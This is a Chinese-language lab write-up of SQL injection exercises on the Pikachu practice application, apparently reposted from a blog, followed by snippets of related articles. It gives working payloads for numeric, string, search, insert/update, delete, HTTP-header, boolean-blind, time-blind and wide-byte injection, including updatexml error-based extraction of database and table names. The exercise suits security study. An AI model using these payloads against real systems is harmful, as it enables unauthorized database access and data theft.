Web实验 sql注入

?

数字型注入(POST):

数据库使用数字进行查询,尝试3 or 3来选择全部

字符型注入(GET):

通过字符进行查询,用kobe‘ or ‘1‘=‘1尝试去掉查询字段两边的引号

发现可以注入

搜索型注入:

?

可能使用了like来确定查询范围

比如select
字段1,字段2 from 表名 where username like ‘%$name%‘

我们用

k%‘or 1=1#来进行尝试闭合

XX型注入:

通过后台可以发现使用了括号括住查询字段

我们对括号进行闭合

kobe‘) or 1=1#

insert/update注入

我们先进行注册

?

?

我们猜测这里执行的sql语句大概为:

Insert into user(name,password,sex,phone,address1,address2) value(‘1‘,‘1‘,‘1‘,‘1‘,‘1‘,‘1‘)

没有回显,所以我们构造错误信息来进行回显

构造payload

aaa‘ and 1=(updatexml(1,concat(0x3a,(select user())),1)))#

出现一下显示

通过aaa‘ and 1=(updatexml(1,concat(0x3a,(
database())),1)))#

获得数据库名

通过aaa‘ and 1=(updatexml(1,concat(0x3a,(
select table_name from information_schema.tables where table_schema=‘pikachu‘ limit 0,1)

)),1)))#进一步获得数据库里的表名

并以此类推进行sql查询,可以继续获得更多的信息。

delete注入:

留言可以进行删除,可能存在这样的语句

delete from message where id=1

url里面有id信息所以尝试添加1 or updatexml(1, concat(0x7e,database()), 0)

http://172.22.249.92:88/pikachu/vul/sqli/sqli_del.php?id=59%20and%201=(updatexml(1,concat(0x3a,(select%20user())),1))

产生了想要的信息,这样像之前一样一点一点获得信息就行。

?

http header注入:

记录了http头的信息

?

在Host: ,User-Agent: ,Accept: 三处

测试使用1‘ or updatexml(1, concat(0x7e, database()), 0) or ‘

回显成功

?

盲注:

?

?

输入kobe‘ and 1=1#

输入kobe‘ and 1=2#

?

我们发现这里的输出只有
用户名存在

用户名不存在
两种输出,所以前面基于报错的方式在这不能用。

通过真假判断来尝试出数据库的有关信息

kobe‘ and length(database())>5#正确

kobe‘ and length(database())>6#正确

kobe‘ and length(database())>7#


所以数据库名称长度为7

再用 substr() 和 ascii() 判断数据库由哪些字母组成

Kobe‘ and ascii(substr(database(), 1, 1)) > 113#

kobe‘and ascii(substr(database(), 1, 1)) > 105#

通过这样的真假判断可以猜出数据库名,接着猜出表名,列明

盲注(based on time):

?

无论输入什么都是I don‘t care,这时我们通过看服务器响应时间查看是否有注入点

可以看到确实相应了5秒

通过构造该语句kobe‘ and if((substr(database(), 1, 1))=‘p‘, sleep(5), null)#

来进行真假判断,逐个判断通过时间猜出信息

?

?

宽字节注入:

?

输入kobe‘ or 1=1#但无效果

因为没有回显,所以先预判可以宽字节注入

因为在后台单引号会被转义,在数据库中执行时多了个反斜杠。我们可以用下面的payload,在单引号前面加上 %df,生成"連",让单引号保留。

?

可以看到成功进行注入。

?

原文地址:https://www.cnblogs.com/p201721410015/p/12094437.html

时间: 2024-10-08 23:26:42

Web实验 sql注入的相关文章

渗透攻防Web篇-SQL注入攻击初级

不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问,我们真的了解SQL注入吗?看完本篇文章希望能让你更加深刻的认识SQL注入. 注入攻击原理及自己编写注入点 1.1.什么是SQL?SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统.SQL 语句用于取回和更新数据库中的数据.SQL 可与数据库程序协同工作,比如 MS Access.DB

浅谈Web安全-SQL注入

简单的说一下我对Web安全的了解,主要是代码注入方面. SQL注入 简介: SQL攻击(SQL injection),简称为注入攻击,是发生于应用程序数据库层的安全漏洞.简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵. 简单的说,所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.例如:如果用户在

[Web安全]SQL注入

Web网站最头痛的就是遭受攻击.Web很脆弱,所以基本的安防工作,我们必须要了解! 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 通过一下的例子更形象的了解SQL注入: 有一个Login画面,在这个Login画面上有两个文本框分别用来输入用户名和密码,当用户点了登录按钮的时候,会对输入的用户名和密码进行验证.验证的SQL语句如下:       select * from student where userna

web实验4--SQL注入

SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑, 导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞. SQL注入攻击流程 第一步:注入点探测 自动方式:使用web漏洞扫描工具,自动进行注入点发现 手动方式:手工构造SQL注入测试语句进行注入点发现 第二步:信息获取 通过注入点取得期望得到的数据 1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等 2.数据库信息:数据库蜜罐,数据库表,表字段,字段

Web漏洞-SQL注入

原文地址:https://blog.51cto.com/10945453/2391352

【渗透攻防Web篇】SQL注入攻击高级

前言 前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御.有攻必有防,当然还要来探讨一下SQL注入防御技巧. 目录 第五节 避开过滤方法总结 5.1.大小写变种 5.2.URL编码 5.3.SQL注释 5.4.空字节 5.5.二阶SQL注入 第六节 探讨SQL注入防御技巧 6.1.输入验证 6.2.编码输出 正文 第五节 避开过滤方法总结 Web应用为了防御包括SQL注入在内的攻击,常常使用输入过滤器,这些过滤器可以在应用的代码中,也可以

SQL注入学习资料总结

转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html  什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言.1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准.不过各种通行的数据库系统在其实践过程中都

sql注入初中高学习

以下三篇文件关于SQL注入写的很通俗易懂,整理收藏下 渗透攻防Web篇-SQL注入攻击初级: http://bbs.ichunqiu.com/thread-9518-1-1.html 渗透攻防Web篇-SQL注入攻击中级: http://bbs.ichunqiu.com/thread-9668-1-1.html 渗透攻防Web篇-SQL注入攻击高级: http://bbs.ichunqiu.com/thread-10093-1-1.html

web实验三——pikachu之sql注入

(一)数字型注入 首先更改1项的值构造payload找到注入点,之后构造payload注出其他信息 查表名 查字段名 最终输入payload: value="1 union select concat(id,'|',username,'|',password,'|',level),2 from users" 结果 (二)字符型注入 使用单引号跳出字符串,最后使用#注释掉多余sql语句,跳过前面查表名字段名的步骤,直接给出最后payload: ' union select id,conc